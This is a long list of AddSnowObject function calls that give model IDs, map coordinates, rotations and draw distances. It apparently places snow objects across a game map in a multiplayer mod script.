AddSnowObject(4257, -1499.959, 1452.520, -49.718, 0.000, 0.000, 0.000, 381.9);
AddSnowObject(4258, -1804.410, 1604.329, -49.578, 0.000, 0.000, 0.000, 368.0);
AddSnowObject(4259, -1351.939, 835.460, -91.078, 0.000, 0.000, 0.000, 385.9);
AddSnowObject(4260, -1424.989, 1241.790, -72.421, 0.000, 0.000, 0.000, 334.8);
AddSnowObject(4261, -2268.669, 1881.719, -83.250, 0.000, 0.000, 0.000, 412.3);
AddSnowObject(4262, -2116.310, 2317.120, -44.250, 0.000, 0.000, 0.000, 428.3);
AddSnowObject(4263, -2749.870, 1810.170, -106.484, 0.000, 0.000, 0.000, 364.6);
AddSnowObject(4264, -2258.830, 1533.030, -57.320, 0.000, 0.000, 0.000, 415.5);
AddSnowObject(4265, -2749.870, 1530.140, -47.960, 0.000, 0.000, 0.000, 421.5);
AddSnowObject(4266, -2911.399, 1273.869, -27.210, 0.000, 0.000, 0.000, 231.0);
AddSnowObject(4267, 2882.080, -2411.449, -4.000, 0.000, 0.000, 0.000, 279.4);
AddSnowObject(4268, 2882.080, -2036.449, -4.000, 0.000, 0.000, 0.000, 328.8);
AddSnowObject(4269, 2882.080, -2711.449, -4.000, 0.000, 0.000, 0.000, 279.3);
AddSnowObject(4270, 2657.080, -2711.449, -4.000, 0.000, 0.000, 0.000, 312.4);
AddSnowObject(4271, 2657.080, -2387.199, -4.000, 0.000, 0.000, 0.000, 330.7);
AddSnowObject(4272, 2882.080, -2911.520, -4.000, 0.000, 0.000, 0.000, 218.7);
AddSnowObject(4273, 2657.080, -2911.520, -4.000, 0.000, 0.000, 0.000, 267.4);
AddSnowObject(4274, 2357.080, -2387.199, -4.000, 0.000, 0.000, 0.000, 320.2);
AddSnowObject(4275, 2357.080, -2711.449, -4.000, 0.000, 0.000, 0.000, 312.4);
AddSnowObject(4276, 2357.080, -2911.520, -4.000, 0.000, 0.000, 0.000, 267.4);
AddSnowObject(4277, 2057.080, -2786.449, -8.750, 0.000, 0.000, 0.000, 267.7);
AddSnowObject(4278, 2057.080, -2911.520, -54.257, 0.000, 0.000, 0.000, 267.4);
AddSnowObject(4279, 1757.079, -2810.699, -8.750, 0.000, 0.000, 0.000, 258.4);
AddSnowObject(4280, 1757.079, -2911.520, -54.257, 0.000, 0.000, 0.000, 267.4);
AddSnowObject(4281, 1457.079, -2786.449, -8.750, 0.000, 0.000, 0.000, 267.7);
AddSnowObject(4282, 1457.079, -2911.520, -54.257, 0.000, 0.000, 0.000, 267.4);
AddSnowObject(4283, 1157.079, -2711.449, -8.750, 0.000, 0.000, 0.000, 312.1);
AddSnowObject(4284, 1157.079, -2911.520, -54.257, 0.000, 0.000, 0.000, 267.4);
AddSnowObject(4285, 1157.079, -2435.699, -4.906, 0.000, 0.000, 0.000, 295.7);
AddSnowObject(4286, 801.656, -2711.449, -24.054, 0.000, 0.000, 0.000, 355.1);
AddSnowObject(4287, 801.656, -2911.520, -69.562, 0.000, 0.000, 0.000, 322.7);
AddSnowObject(4288, 801.656, -2387.199, -20.976, 0.000, 0.000, 0.000, 369.9);
AddSnowObject(4289, 801.656, -2162.199, -19.304, 0.000, 0.000, 0.000, 312.1);
AddSnowObject(4290, -2881.590, -2209.909, -26.843, 0.000, 0.000, 0.000, 265.1);
AddSnowObject(4291, -2881.590, -2434.510, -21.757, 0.000, 0.000, 0.000, 266.4);
AddSnowObject(4292, -2881.590, -2659.100, -28.132, 0.000, 0.000, 0.000, 264.8);
AddSnowObject(4293, -2881.590, -2883.699, -34.601, 0.000, 0.000, 0.000, 263.4);
AddSnowObject(4294, -1966.300, -2928.629, -33.500, 0.000, 0.000, 0.000, 236.8);
AddSnowObject(4295, -1737.479, -2883.699, -36.304, 0.000, 0.000, 0.000, 263.9);
AddSnowObject(4296, -2198.449, -2873.070, -8.890, 0.000, 0.000, 0.000, 237.0);
AddSnowObject(4297, -2423.090, -2867.389, -20.375, 0.000, 0.000, 0.000, 238.2);
AddSnowObject(4298, -2652.770, -2883.520, -20.375, 0.000, 0.000, 0.000, 264.8);
AddSnowObject(4299, -1501.369, -2896.379, 3.023, 0.000, 0.000, 0.000, 257.4);
AddSnowObject(4300, -1307.680, -2913.090, 3.234, 0.000, 0.000, 0.000, 204.0);
AddSnowObject(4301, -1185.400, -2913.090, 6.218, 0.000, 0.000, 0.000, 192.2);
AddSnowObject(4302, -2871.550, -1975.630, 35.429, 0.000, 0.000, 0.000, 266.0);
AddSnowObject(4303, -2872.449, -1765.000, 48.109, 0.000, 0.000, 0.000, 221.1);
AddSnowObject(4304, -2874.280, -1547.979, 41.125, 0.000, 0.000, 0.000, 225.9);
AddSnowObject(4305, -2872.840, -1321.280, 42.382, 0.000, 0.000, 0.000, 225.1);
AddSnowObject(4306, -2870.979, -1117.650, 24.632, 0.000, 0.000, 0.000, 274.3);
AddSnowObject(4307, -2892.250, -962.179, -26.398, 0.000, 0.000, 0.000, 252.9);
AddSnowObject(4308, -2691.179, -939.578, 46.929, 0.000, 0.000, 0.000, 272.9);
AddSnowObject(4309, -2492.429, -943.601, 54.492, 0.000, 0.000, 0.000, 246.4);
AddSnowObject(4310, -2291.780, -993.406, 63.578, 0.000, 0.000, 0.000, 251.6);
AddSnowObject(4311, -2186.750, -1147.729, 108.155, 0.000, 0.000, 0.000, 235.8);
AddSnowObject(4312, -1980.380, -1330.489, 74.851, 0.000, 0.000, 0.000, 268.8);
AddSnowObject(4313, -1776.780, -1563.010, 9.703, 0.000, 0.000, 0.000, 282.2);
AddSnowObject(4314, -2014.750, 2307.770, -21.789, 0.000, 0.000, 0.000, 357.4);
AddSnowObject(4315, -1818.489, 1848.880, -71.960, 0.000, 0.000, 0.000, 438.0);
AddSnowObject(4316, -1385.849, 1577.869, -69.390, 0.000, 0.000, 0.000, 370.0);
AddSnowObject(4317, -810.148, 2101.449, -7.218, 0.000, 0.000, 0.000, 321.2);
AddSnowObject(4318, -671.773, 2005.089, -25.015, 0.000, 0.000, 0.000, 297.4);
AddSnowObject(4319, -741.539, 1752.130, -25.992, 0.000, 0.000, 26.539, 344.4);
AddSnowObject(4320, -553.742, 1214.209, -27.445, 0.000, 0.000, 0.000, 357.9);
AddSnowObject(4321, -599.750, 774.429, -33.796, 0.000, 0.000, 0.000, 380.2);
AddSnowObject(4322, -629.210, 366.093, -50.625, 0.000, 0.000, 0.000, 414.2);
AddSnowObject(4323, -1208.189, 1294.270, -80.968, 0.000, 0.000, 0.000, 338.5);
AddSnowObject(4324, -892.289, 680.609, -43.570, 0.000, 0.000, 0.000, 302.0);
AddSnowObject(4325, -1165.800, 687.304, -80.968, 0.000, 0.000, 0.000, 244.9);
AddSnowObject(4326, -1058.040, 925.445, -80.968, 0.000, 0.000, 0.000, 394.0);
AddSnowObject(4327, -593.718, 2233.320, -5.585, 0.000, 0.000, 0.000, 256.0);
AddSnowObject(4328, -983.921, 2246.719, -11.640, 0.000, 0.000, 0.000, 306.2);
AddSnowObject(4329, -561.984, 1572.949, -22.929, 0.000, 0.000, -153.460, 294.2);
AddSnowObject(4330, -191.367, 432.679, -40.875, 0.000, 0.000, 0.000, 345.4);
AddSnowObject(4331, 234.156, 475.789, -43.273, 0.000, 0.000, 0.000, 337.5);
AddSnowObject(4332, 534.492, 569.093, -28.531, 0.000, 0.000, -126.900, 276.2);
AddSnowObject(4333, 761.390, 601.093, -26.937, 0.000, 0.000, -153.460, 266.2);
AddSnowObject(4334, 2040.489, 534.664, -45.718, 0.000, 0.000, 0.000, 326.0);
AddSnowObject(4335, -1380.979, -658.484, -10.742, 0.000, 0.000, 0.000, 349.5);
AddSnowObject(4336, -1047.130, -7.312, -51.429, 0.000, 0.000, 0.000, 382.4);
AddSnowObject(4337, -1088.229, -395.984, -36.992, 0.000, 0.000, 0.000, 313.4);
AddSnowObject(4338, -1380.979, 389.625, -55.445, 0.000, 0.000, 0.000, 383.9);
AddSnowObject(4339, -1461.069, 72.781, -39.937, 0.000, 0.000, 0.000, 271.1);
AddSnowObject(4340, -1038.449, 389.625, -46.687, 0.000, 0.000, 0.000, 375.2);
AddSnowObject(4341, -1680.979, 32.453, -32.867, 0.000, 0.000, 0.000, 360.5);
AddSnowObject(4342, -1748.489, -386.617, -20.726, 0.000, 0.000, 0.000, 280.9);
AddSnowObject(4343, -1655.729, -694.296, -18.984, 0.000, 0.000, 0.000, 204.7);
AddSnowObject(4344, 801.656, -1996.770, -31.578, 0.000, 0.000, 0.000, 353.3);
AddSnowObject(4345, 1105.550, 639.148, -31.273, 0.000, 0.000, 0.000, 352.4);
AddSnowObject(4346, 1582.800, 555.742, -47.000, 0.000, 0.000, 0.000, 343.2);
AddSnowObject(4348, -58.335, -2096.389, -34.046, 0.000, 0.000, 0.000, 379.3);
AddSnowObject(4349, -12.101, -2471.510, -45.570, 0.000, 0.000, 0.000, 364.8);
AddSnowObject(4350, -50.875, -2828.800, -46.312, 0.000, 0.000, 0.000, 365.0);
AddSnowObject(4351, -475.765, -2897.280, -42.796, 0.000, 0.000, 0.000, 353.2);
AddSnowObject(4352, -910.781, -2898.479, -34.632, 0.000, 0.000, 0.000, 332.9);
AddSnowObject(4353, -446.828, -327.546, -37.460, 0.000, 0.000, -39.617, 303.9);
AddSnowObject(4354, -299.890, -595.703, -34.484, 0.000, 0.000, -94.672, 339.9);
AddSnowObject(4355, 50.351, -1352.300, -38.250, 0.000, 0.000, -3.322, 275.0);
AddSnowObject(4356, -1165.229, -2136.000, -9.484, 0.000, 0.000, -33.573, 296.0);
AddSnowObject(4357, -1218.369, -2445.260, -6.585, 0.000, 0.000, 124.645, 274.6);
AddSnowObject(4358, -78.609, -664.359, -37.453, 0.000, 0.000, -94.672, 361.6);
AddSnowObject(4359, 28.593, -1035.319, -27.476, 0.000, 0.000, -3.322, 335.8);
AddSnowObject(4360, -1071.099, -2755.419, 50.382, 0.000, 0.000, -48.282, 306.1);
AddSnowObject(4361, -1226.599, -1846.250, 41.437, 0.000, 0.000, 152.537, 330.3);
AddSnowObject(4362, -1527.229, -1633.219, 20.242, 0.000, 0.000, 144.348, 308.2);
AddSnowObject(4363, -991.023, -463.242, 22.851, 0.000, 0.000, -104.966, 241.8);
AddSnowObject(4364, -747.218, -387.015, 0.031, 0.000, 0.000, -96.406, 250.5);
AddSnowObject(4365, 1822.109, 384.656, -0.125, 0.000, 0.000, -7.232, 229.8);
AddSnowObject(4366, 2083.949, 345.664, 3.445, 0.000, 0.000, -7.515, 247.6);
AddSnowObject(4367, 2326.979, 353.710, 14.757, 0.000, 0.000, 19.253, 259.7);
AddSnowObject(4368, 2603.929, 380.234, -16.359, 0.000, 0.000, -29.425, 299.8);
AddSnowObject(4369, 2852.679, 188.296, -17.617, 0.000, 0.000, 0.000, 257.1);
AddSnowObject(4370, 2891.479, 3.984, -10.546, 0.000, 0.000, 0.000, 176.0);
AddSnowObject(4371, 2899.370, -162.218, -11.093, 0.000, 0.000, 0.000, 236.4);
AddSnowObject(4372, 2930.649, -1778.920, -60.812, 0.000, 0.000, 0.000, 232.5);
AddSnowObject(4373, 2947.600, -1299.390, -53.632, 0.000, 0.000, 0.000, 308.0);
AddSnowObject(4374, 2931.469, -1686.359, -60.812, 0.000, 0.000, 0.000, 221.3);
AddSnowObject(4533, -2280.510, 2318.250, -48.773, 0.000, 0.000, 0.000, 286.9);
AddSnowObject(4535, -2749.139, 2064.820, -120.398, 0.000, 0.000, 0.000, 400.1);
AddSnowObject(4538, 2948.409, -951.765, -28.523, 0.000, 0.000, 0.000, 267.4);
AddSnowObject(4540, -1035.910, 2594.550, -8.781, 0.000, 0.000, 0.000, 398.5);
AddSnowObject(4347, -70.554, -1716.739, -37.382, 0.000, 0.000, 0.000, 394.9);
AddSnowObject(9900, -1753.709, 884.390, 159.977, 0.000, 0.000, 0.000, 240.3);
AddSnowObject(9901, -1459.099, 920.093, 31.953, 0.000, 0.000, 0.000, 189.0);
AddSnowObject(9907, -1758.959, 789.804, 113.835, 0.000, 0.000, 0.000, 179.7);
AddSnowObject(9908, -1828.869, 967.406, 58.554, 0.000, 0.000, 0.000, 177.8);
AddSnowObject(9919, -1667.770, 884.226, 71.625, 0.000, 0.000, 0.000, 175.4);
AddSnowObject(9928, -1683.130, 993.718, 55.007, 0.000, 0.000, -0.000, 155.0);
AddSnowObject(9929, -1684.550, 1018.190, 40.507, 0.000, 0.000, 0.000, 137.6);
AddSnowObject(9946, -1753.449, 884.414, 23.968, 0.000, 0.000, 0.000, 131.1);
AddSnowObject(9949, -1535.420, 1054.520, 18.203, 0.000, 0.000, 0.000, 150.0);
AddSnowObject(9954, -1934.020, 1416.849, -12.070, 0.000, 0.000, 0.000, 231.0);
AddSnowObject(9957, -1809.420, 1303.140, 33.539, 0.000, 0.000, 0.000, 183.3);
AddSnowObject(10017, -2097.540, 1060.130, 76.867, 0.000, 0.000, 0.000, 180.5);
AddSnowObject(10018, -2193.100, 1065.979, 60.132, 0.000, 0.000, 0.000, 218.4);
AddSnowObject(10027, -1951.689, 660.023, 89.507, 0.000, 0.000, 0.000, 187.3);
AddSnowObject(10028, -1636.300, 682.765, 27.453, 0.000, 0.000, 0.000, 188.6);
AddSnowObject(10036, -2226.489, 665.281, 58.156, 0.000, 0.000, 0.000, 159.0);
AddSnowObject(10042, -1606.560, 731.437, 39.335, 0.000, 0.000, 0.000, 142.0);
AddSnowObject(10066, -1936.229, 1334.349, 6.187, 0.000, 0.000, 0.000, 239.5);
AddSnowObject(10083, -1998.439, 1233.329, 30.335, 0.000, 0.000, 0.000, 233.4);
AddSnowObject(10087, -1903.300, 1243.439, 25.312, 0.000, 0.000, 0.000, 166.4);
AddSnowObject(10151, -2097.540, 1060.130, 76.867, 0.000, 0.000, 0.000, 209.2);
AddSnowObject(10229, -1421.880, 1489.449, 5.820, 0.000, 0.000, 0.000, 156.0);
AddSnowObject(10230, -1421.630, 1490.859, 6.968, 0.000, 0.000, 0.000, 162.7);
AddSnowObject(10250, -1592.260, 696.195, 81.453, 0.000, 0.000, 0.000, 135.4);
AddSnowObject(10260, -1753.739, 884.398, 25.343, 0.000, 0.000, 0.000, 130.6);
AddSnowObject(10273, -2021.670, 1126.459, 65.000, 0.000, 0.000, 0.000, 149.5);
AddSnowObject(10294, -1686.530, 1273.199, 6.179, 0.000, 0.000, 0.000, 272.8);
AddSnowObject(10295, -1561.449, 1030.510, 6.359, 0.000, 0.000, 0.000, 236.2);
AddSnowObject(10296, -1538.800, 809.539, 2.679, 0.000, 0.000, 0.000, 199.1);
AddSnowObject(10300, -1494.130, 901.828, -16.867, 0.000, 0.000, 0.000, 238.8);
AddSnowObject(10301, -1515.050, 682.054, -16.867, 0.000, 0.000, 0.000, 204.2);
AddSnowObject(10305, -1525.020, 1123.640, -13.742, 0.000, 0.000, 0.000, 236.7);
AddSnowObject(10031, -2210.439, 598.921, 45.390, 0.000, 0.000, 0.000, 141.7);
AddSnowObject(10255, -2244.290, 651.382, 59.203, 0.000, 0.000, 0.000, 188.4);
AddSnowObject(10030, -2182.479, 612.500, 53.210, 0.000, 0.000, 0.000, 147.4);
AddSnowObject(10180, -2244.530, 662.242, 60.203, 0.000, 0.000, 0.000, 145.0);
AddSnowObject(10039, -2226.489, 665.281, 58.156, 0.000, 0.000, 0.000, 171.7);
AddSnowObject(10266, -2212.550, 714.695, 63.140, 0.000, 0.000, 0.000, 135.5);
AddSnowObject(10026, -2207.479, 722.695, 65.750, 0.000, 0.000, 0.000, 134.8);
AddSnowObject(10178, -2164.479, 658.312, 67.734, 0.000, 0.000, 0.000, 159.4);
AddSnowObject(10265, -2179.120, 658.734, 63.281, 0.000, 0.000, 0.000, 167.1);
AddSnowObject(10252, -2175.760, 661.921, 50.101, 0.000, 0.000, 0.000, 137.6);
AddSnowObject(10037, -2192.209, 675.429, 60.632, 0.000, 0.000, 0.000, 132.8);
AddSnowObject(10038, -2180.830, 684.531, 69.093, 0.000, 0.000, 0.000, 148.4);
AddSnowObject(10043, -2199.879, 769.851, 66.695, 0.000, 0.000, 0.000, 154.9);
AddSnowObject(10078, -2199.879, 731.289, 58.414, 0.000, 0.000, 0.000, 145.4);
AddSnowObject(10035, -2113.889, 613.078, 53.210, 0.000, 0.000, 0.000, 142.4);
AddSnowObject(10261, -2130.850, 658.085, 66.109, 0.000, 0.000, 0.000, 161.8);
AddSnowObject(10136, -2088.560, 649.843, 51.289, 0.000, 0.000, 0.000, 174.1);
AddSnowObject(10263, -2096.909, 658.140, 66.359, 0.000, 0.000, 0.000, 161.6);
AddSnowObject(10025, -2113.889, 684.523, 70.273, 0.000, 0.000, 0.000, 144.0);
AddSnowObject(10137, -2142.949, 698.398, 51.289, 0.000, 0.000, 0.000, 222.0);
AddSnowObject(10050, -2102.449, 769.835, 76.445, 0.000, 0.000, 0.000, 140.2);
AddSnowObject(10276, -1951.670, 605.890, 34.093, 0.000, 0.000, 0.000, 141.9);
AddSnowObject(10034, -2047.619, 649.843, 51.367, 0.000, 0.000, 0.000, 179.7);
AddSnowObject(10139, -2072.959, 731.289, 56.429, 0.000, 0.000, 0.000, 158.9);
AddSnowObject(10048, -2046.180, 769.890, 63.726, 0.000, 0.000, 0.000, 145.6);
AddSnowObject(10275, -2004.160, 698.390, 39.226, 0.000, 0.000, 0.000, 220.7);
AddSnowObject(10046, -1974.020, 768.726, 75.460, 0.000, 0.000, 0.000, 146.1);
AddSnowObject(10023, -1951.689, 708.375, 53.867, 0.000, 0.000, 0.000, 158.8);
AddSnowObject(10024, -1951.689, 708.468, 47.851, 0.000, 0.000, 0.000, 141.0);
AddSnowObject(10069, -1899.189, 710.890, 39.226, 0.000, 0.000, 0.000, 218.2);
AddSnowObject(10135, -1951.689, 732.781, 44.367, 0.000, 0.000, 0.000, 142.3);
AddSnowObject(10041, -1933.199, 785.804, 70.820, 0.000, 0.000, 0.000, 161.2);
AddSnowObject(10110, -2199.879, 808.414, 58.421, 0.000, 0.000, 0.000, 145.4);
AddSnowObject(10187, -2187.090, 825.164, 66.062, 0.000, 0.000, 0.000, 133.3);
AddSnowObject(10189, -2206.949, 860.632, 65.703, 0.000, 0.000, 0.000, 158.2);
AddSnowObject(10188, -2163.750, 848.210, 81.078, 0.000, 0.000, 0.000, 133.5);
AddSnowObject(10016, -2199.729, 893.203, 81.000, 0.000, 0.000, -0.000, 148.4);
AddSnowObject(10111, -2199.899, 918.390, 72.250, 0.000, 0.000, 0.000, 144.8);
AddSnowObject(10077, -2142.979, 923.398, 73.703, 0.000, 0.000, 0.000, 206.0);
AddSnowObject(10138, -2072.979, 808.398, 56.429, 0.000, 0.000, 0.000, 158.4);
AddSnowObject(10153, -2058.159, 845.734, 65.687, 0.000, 0.000, 0.000, 132.9);
AddSnowObject(10021, -2107.909, 882.320, 82.687, 0.000, 0.000, 0.000, 137.2);
AddSnowObject(10019, -2084.129, 851.117, 69.867, 0.000, 0.000, 0.000, 158.0);
AddSnowObject(10306, -2046.180, 851.109, 63.726, 0.000, 0.000, 0.000, 148.4);
AddSnowObject(10186, -2075.300, 931.281, 58.710, 0.000, 0.000, 0.000, 165.1);
AddSnowObject(10075, -2072.979, 937.671, 61.593, 0.000, 0.000, 0.000, 165.7);
AddSnowObject(10185, -2072.959, 932.546, 61.796, 0.000, 0.000, 0.000, 169.0);
AddSnowObject(10045, -1952.449, 796.609, 63.882, 0.000, 0.000, 0.000, 158.2);
AddSnowObject(10119, -1951.709, 845.429, 39.226, 0.000, 0.000, 0.000, 143.7);
AddSnowObject(10117, -2004.199, 930.406, 49.507, 0.000, 0.000, 0.000, 212.8);
AddSnowObject(9915, -1951.709, 884.179, 49.335, 0.000, 0.000, 0.000, 149.0);
AddSnowObject(10118, -1951.709, 924.812, 39.226, 0.000, 0.000, 0.000, 144.6);
AddSnowObject(10065, -1897.670, 896.679, 34.093, 0.000, 0.000, 0.000, 169.7);
AddSnowObject(10287, -1857.170, 669.585, 54.914, 0.000, 0.000, 0.000, 166.3);
AddSnowObject(10143, -1859.819, 801.546, 76.562, 0.000, 0.000, 0.000, 160.2);
AddSnowObject(10289, -1848.079, 785.492, 77.273, 0.000, 0.000, 0.000, 181.2);
AddSnowObject(10132, -1800.479, 608.289, 28.953, 0.000, 0.000, 0.000, 187.6);
AddSnowObject(10288, -1804.250, 669.164, 57.648, 0.000, 0.000, 0.000, 164.9);
AddSnowObject(10134, -1806.689, 731.289, 34.093, 0.000, 0.000, 0.000, 181.6);
AddSnowObject(10033, -1808.540, 771.304, 77.601, 0.000, 0.000, 0.000, 146.0);
AddSnowObject(10133, -1807.849, 786.093, 29.304, 0.000, 0.000, 0.000, 142.7);
AddSnowObject(10173, -1783.880, 616.687, 65.921, 0.000, 0.000, 0.000, 144.8);
AddSnowObject(10174, -1774.199, 720.773, 65.632, 0.000, 0.000, 0.000, 154.8);
AddSnowObject(10047, -1758.959, 789.804, 113.835, 0.000, 0.000, 0.000, 157.7);
AddSnowObject(10056, -1754.329, 669.234, 62.820, 0.000, 0.000, 0.000, 171.0);
AddSnowObject(10131, -1717.300, 717.210, 23.812, 0.000, 0.000, 0.000, 212.2);
AddSnowObject(10029, -1680.209, 704.851, 27.203, 0.000, 0.000, 0.000, 164.8);
AddSnowObject(10049, -1683.140, 786.093, 38.820, 0.000, 0.000, 0.000, 153.5);
AddSnowObject(10290, -1636.709, 652.359, 17.265, 0.000, 0.000, 0.000, 182.7);
AddSnowObject(10068, -1551.699, 652.367, 6.109, 0.000, 0.000, 0.000, 169.3);
AddSnowObject(10051, -1578.189, 716.289, -6.078, 0.000, 0.000, -0.000, 171.7);
AddSnowObject(10125, -1636.699, 731.289, 14.960, 0.000, 0.000, 0.000, 166.7);
AddSnowObject(10126, -1656.530, 786.093, 17.429, 0.000, 0.000, 0.000, 142.9);
AddSnowObject(10044, -1610.819, 785.164, 40.835, 0.000, 0.000, 0.000, 169.1);
AddSnowObject(10142, -1831.630, 884.054, 57.078, 0.000, 0.000, 0.000, 149.3);
AddSnowObject(10247, -1832.369, 923.671, 28.953, 0.000, 0.000, 0.000, 158.1);
AddSnowObject(10181, -1819.920, 822.875, 77.664, 0.000, 0.000, 0.000, 139.5);
AddSnowObject(10070, -1792.250, 847.078, 28.984, 0.000, 0.000, 0.000, 196.4);
AddSnowObject(10130, -1739.750, 929.406, 23.812, 0.000, 0.000, 0.000, 149.7);
AddSnowObject(9927, -1685.089, 960.328, 45.101, 0.000, 0.000, 0.000, 132.8);
AddSnowObject(10067, -1636.699, 846.140, 14.960, 0.000, 0.000, 0.000, 168.4);
AddSnowObject(9926, -1643.099, 960.859, 57.406, 0.000, 0.000, -0.000, 158.8);
AddSnowObject(10127, -1602.270, 885.140, 8.750, 0.000, 0.000, 0.000, 137.0);
AddSnowObject(9918, -1600.119, 885.687, 26.843, 0.000, 0.000, 0.000, 139.5);
AddSnowObject(10124, -1636.699, 923.218, 14.960, 0.000, 0.000, 0.000, 168.7);
AddSnowObject(10278, -2223.020, 969.796, 82.304, 0.000, 0.000, 0.000, 149.4);
AddSnowObject(10015, -2191.300, 969.804, 83.132, 0.000, 0.000, 0.000, 155.7);
AddSnowObject(9952, -2051.659, 998.609, 64.328, 0.000, 0.000, 0.000, 159.9);
AddSnowObject(10280, -2051.659, 998.609, 64.328, 0.000, 0.000, 0.000, 138.7);
AddSnowObject(10112, -2199.899, 1019.820, 80.843, 0.000, 0.000, 0.000, 144.0);
AddSnowObject(10014, -2187.340, 1012.229, 89.500, 0.000, 0.000, 0.000, 153.0);
AddSnowObject(10114, -2199.909, 1093.380, 78.929, 0.000, 0.000, 0.000, 144.3);
AddSnowObject(10113, -2142.979, 1095.880, 66.789, 0.000, 0.000, 0.000, 169.9);
AddSnowObject(10115, -1986.689, 1070.280, 49.562, 0.000, 0.000, 0.000, 194.3);
AddSnowObject(10013, -2198.659, 1135.859, 75.531, 0.000, 0.000, 0.000, 158.9);
AddSnowObject(10054, -2217.520, 1222.420, 57.906, 0.000, 0.000, 0.000, 156.1);
AddSnowObject(10076, -2159.929, 1177.050, 51.179, 0.000, 0.000, 0.000, 184.3);
AddSnowObject(10055, -2152.649, 1234.660, 44.375, 0.000, 0.000, 0.000, 144.4);
AddSnowObject(10053, -2144.979, 1206.689, 60.460, 0.000, 0.000, 0.000, 150.5);
AddSnowObject(10020, -2082.489, 1149.020, 56.984, 0.000, 0.000, 0.000, 139.1);
AddSnowObject(10084, -2056.949, 1256.949, 25.070, 0.000, 0.000, 0.000, 155.7);
AddSnowObject(10086, -2036.589, 1206.510, 56.203, 0.000, 0.000, 0.000, 138.1);
AddSnowObject(10274, -2021.229, 1116.449, 51.281, 0.000, 0.000, 0.000, 152.2);
AddSnowObject(9931, -2010.979, 1117.939, 68.843, 0.000, 0.000, 0.000, 134.8);
AddSnowObject(10052, -1922.199, 992.914, 50.796, 0.000, 0.000, 0.000, 189.2);
AddSnowObject(9917, -1853.699, 1011.609, 58.296, 0.000, 0.000, 0.000, 145.0);
AddSnowObject(10120, -1890.140, 1064.189, 39.289, 0.000, 0.000, 0.000, 201.0);
AddSnowObject(10308, -1839.219, 1064.800, 92.867, 0.000, 0.000, 0.000, 166.1);
AddSnowObject(10074, -1963.709, 1126.459, 49.507, 0.000, 0.000, 0.000, 169.1);
AddSnowObject(10116, -1974.219, 1174.390, 46.039, 0.000, 0.000, 0.000, 203.8);
AddSnowObject(9930, -1926.699, 1126.459, 49.789, 0.000, 0.000, 0.000, 148.4);
AddSnowObject(10101, -1839.489, 1144.719, 45.898, 0.000, 0.000, 0.000, 150.4);
AddSnowObject(10123, -1839.229, 1182.189, 34.210, 0.000, 0.000, 0.000, 138.9);
AddSnowObject(10063, -1976.459, 1204.959, 57.632, 0.000, 0.000, 0.000, 142.3);
AddSnowObject(10080, -1911.339, 1221.560, 39.414, 0.000, 0.000, 0.000, 147.2);
AddSnowObject(10060, -1976.459, 1254.380, 28.812, 0.000, 0.000, 0.000, 143.7);
AddSnowObject(9950, -1954.239, 1358.369, 18.203, 0.000, 0.000, 89.999, 156.8);
AddSnowObject(9958, -1899.160, 1476.790, 5.742, 0.000, 0.000, 44.999, 149.8);
AddSnowObject(9914, -1870.920, 1303.770, 15.296, 0.000, 0.000, 0.000, 131.6);
AddSnowObject(9913, -1831.310, 1331.760, 11.671, 0.000, 0.000, 0.000, 130.3);
AddSnowObject(10073, -1807.589, 1245.630, 24.921, 0.000, 0.000, 0.000, 207.0);
AddSnowObject(10193, -1754.219, 980.039, 58.875, 0.000, 0.000, 0.000, 155.5);
AddSnowObject(10196, -1768.630, 1050.199, 55.781, 0.000, 0.000, 0.000, 139.2);
AddSnowObject(10194, -1754.199, 1019.299, 60.460, 0.000, 0.000, 0.000, 147.2);
AddSnowObject(10195, -1747.750, 1041.750, 65.953, 0.000, 0.000, 0.000, 133.2);
AddSnowObject(10071, -1799.189, 1103.349, 44.367, 0.000, 0.000, 0.000, 173.5);
AddSnowObject(10121, -1790.170, 1058.670, 33.476, 0.000, 0.000, 0.000, 217.1);
AddSnowObject(10197, -1754.229, 1072.170, 59.726, 0.000, 0.000, 0.000, 137.9);
AddSnowObject(9916, -1794.229, 1215.560, 30.429, 0.000, 0.000, 0.000, 178.2);
AddSnowObject(9920, -1780.599, 1138.859, 46.632, 0.000, 0.000, 0.000, 155.0);
AddSnowObject(10010, -1716.599, 1018.229, 17.023, 0.000, 0.000, 89.999, 156.4);
AddSnowObject(10122, -1714.199, 1058.699, 34.093, 0.000, 0.000, 0.000, 216.1);
AddSnowObject(9925, -1685.589, 1083.910, 49.976, 0.000, 0.000, 0.000, 171.8);
AddSnowObject(10072, -1713.339, 1187.339, 15.078, 0.000, 0.000, 0.000, 194.8);
AddSnowObject(9924, -1674.489, 1148.439, 46.257, 0.000, 0.000, 0.000, 154.3);
AddSnowObject(9953, -1668.839, 1215.750, 19.226, 0.000, 0.000, 0.000, 138.4);
AddSnowObject(9956, -1791.810, 1459.180, -12.070, 0.000, 0.000, 0.000, 215.1);
AddSnowObject(9911, -1708.839, 1241.920, 27.000, 0.000, 0.000, 0.000, 176.4);
AddSnowObject(9903, -1687.530, 1390.089, 13.203, 0.000, 0.000, 0.000, 154.9);
AddSnowObject(9905, -1672.790, 1370.770, 4.882, 0.000, 0.000, 0.000, 168.3);
AddSnowObject(10309, -1670.609, 1378.469, 7.867, 0.000, 0.000, 0.000, 154.2);
AddSnowObject(9921, -1621.550, 976.593, 27.265, 0.000, 0.000, 0.000, 158.7);
AddSnowObject(9922, -1644.770, 1050.660, 37.507, 0.000, 0.000, 0.000, 162.4);
AddSnowObject(9923, -1642.219, 1134.410, 14.750, 0.000, 0.000, 0.000, 149.0);
AddSnowObject(9951, -1535.420, 1168.660, 18.203, 0.000, 0.000, 0.000, 156.8);
AddSnowObject(9955, -1663.930, 1375.489, -16.867, 0.000, 0.000, 0.000, 198.3);
AddSnowObject(9904, -1660.689, 1358.979, 12.203, 0.000, 0.000, 0.000, 150.3);
AddSnowObject(9902, -1577.949, 1271.140, -12.070, 0.000, 0.000, 0.000, 208.3);
AddSnowObject(10166, -1602.000, 1323.589, -6.250, 0.000, 0.000, 0.000, 189.5);
AddSnowObject(10140, -1406.910, 1489.800, 7.125, 0.000, 0.000, 0.000, 137.2);
AddSnowObject(9205, -2482.169, 2334.280, 9.750, 0.000, 0.000, 0.000, 187.4);
AddSnowObject(9206, -2720.790, 2226.300, 27.554, 0.000, 0.000, 0.000, 265.7);
AddSnowObject(9207, -2832.100, 2197.850, 66.679, 0.000, 0.000, 0.000, 273.2);
AddSnowObject(9208, -2267.350, 2789.179, 132.516, 0.000, 0.000, 0.000, 238.7);
AddSnowObject(9209, -2806.600, 2830.489, 217.141, 0.000, 0.000, 0.000, 182.8);
